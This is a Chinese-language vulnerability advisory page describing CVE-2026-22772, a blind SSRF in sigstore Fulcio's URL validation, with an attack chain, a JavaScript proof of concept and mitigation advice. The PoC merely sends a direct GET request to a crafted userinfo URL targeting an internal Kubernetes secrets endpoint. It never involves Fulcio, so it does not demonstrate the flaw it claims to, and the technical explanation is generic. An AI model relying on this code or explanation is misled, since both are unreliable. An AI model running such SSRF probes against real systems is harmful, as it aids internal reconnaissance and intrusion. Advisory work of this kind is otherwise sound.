IPBUF安全漏洞报告
English
CVE-2026-22772 CVSS 5.8 中危

CVE-2026-22772 Fulcio metaRegex SSRF服务端请求伪造漏洞

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22772
漏洞类型
SSRF (服务端请求伪造)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
sigstore/fulcio

相关标签

SSRF服务端请求伪造CVE-2026-22772FulciosigstoreOIDCURL验证绕过Blind SSRF代码签名证书证书颁发机构

漏洞概述

Fulcio是一个用于为OpenID Connect (OIDC)身份颁发代码签名证书的证书颁发机构。在1.8.5之前的版本中,Fulcio的metaRegex()函数使用了未锚定的正则表达式(unanchored regex),导致攻击者可以绕过MetaIssuer URL验证机制,成功触发服务端请求伪造(SSRF)攻击,访问任意内部服务。由于该SSRF漏洞只能触发GET请求,因此无法直接修改服务器状态,且GET请求的响应也不会返回给调用者,因此也无法进行数据泄露。然而,攻击者可以利用此漏洞对内部网络进行探测(Blind SSRF),尝试访问内部服务、数据库或其他敏感资源,从而为后续攻击收集情报。该漏洞存在于Fulcio的URL验证逻辑中,攻击者通过构造特殊的URL绕过安全检查,实现对内部系统的访问。官方已在1.8.5版本中修复此问题。

技术细节

Fulcio在处理OIDC身份验证时使用metaRegex()函数验证MetaIssuer URL。该函数使用了未锚定的正则表达式,导致URL验证不完整。具体来说,攻击者可以在URL中嵌入恶意构造的字符串,使得正则表达式只匹配URL的一部分,从而绕过完整URL验证。例如,攻击者可以构造类似https://[email protected]的URL,利用正则表达式只验证前半部分trusted.com,而实际请求会发送到malicious.com。由于Fulcio的metaRegex()函数没有正确锚定正则表达式的开始和结束,攻击者可以在验证通过后,将请求重定向到任意内部或外部地址。这种Blind SSRF攻击虽然无法直接获取响应数据,但攻击者可以通过探测内部服务的响应时间、状态码等特征来判断内部网络结构和服务状态,从而为进一步的渗透攻击提供情报支持。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中使用Fulcio进行OIDC身份验证和证书颁发的应用
STEP 2
步骤2
攻击者分析Fulcio的metaRegex()函数,发现其使用未锚定的正则表达式进行URL验证
STEP 3
步骤3
攻击者构造恶意URL,利用正则表达式绕过技巧(如@符号注入、URL编码等)绕过MetaIssuer URL验证
STEP 4
步骤4
攻击者通过构造的恶意URL触发Blind SSRF,向内部服务(如数据库、API、缓存服务器等)发送GET请求
STEP 5
步骤5
攻击者通过观察请求响应时间、连接成功/失败状态等信息推断内部网络结构和服务状态
STEP 6
步骤6
基于收集的情报,攻击者进一步探测和利用内部服务的其他漏洞,实现横向移动和权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-22772 PoC - Fulcio metaRegex SSRF Bypass // This PoC demonstrates how to bypass MetaIssuer URL validation const https = require('https'); // Malicious URL that bypasses unanchored regex validation // The regex might only match 'trusted.com' but the actual request goes to 'internal-server' const maliciousUrl = 'https://[email protected]/admin/api'; function triggerSSRF(targetUrl) { return new Promise((resolve, reject) => { try { const url = new URL(targetUrl); const options = { hostname: url.hostname, port: url.port || 443, path: url.pathname + url.search, method: 'GET', timeout: 5000, rejectUnauthorized: false // For testing purposes }; const req = https.request(options, (res) => { console.log(`[+] Request sent to: ${targetUrl}`); console.log(`[+] Status: ${res.statusCode}`); resolve({ status: res.statusCode, headers: res.headers }); }); req.on('error', (err) => { console.log(`[*] Error (may indicate internal service): ${err.message}`); resolve({ error: err.message }); }); req.on('timeout', () => { console.log('[*] Request timeout'); req.destroy(); resolve({ timeout: true }); }); req.end(); } catch (e) { reject(e); } }); } // Example: Probe internal Kubernetes API triggerSSRF('https://[email protected]:443/api/v1/secrets'); // Note: This is a simplified PoC for educational purposes // Real exploitation requires understanding the specific regex bypass technique

影响范围

Fulcio < 1.8.5

防御指南

临时缓解措施
如果无法立即升级到修复版本,可采取以下临时缓解措施:1) 在Fulcio服务前端部署WAF,拦截异常URL请求;2) 限制Fulcio服务的网络访问权限,使用防火墙规则阻止对内部网络的访问;3) 监控Fulcio的日志和流量,及时发现异常的SSRF尝试行为;4) 考虑使用网络分段技术,将Fulcio服务部署在隔离的网络区域,限制其对内部敏感服务的访问能力。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表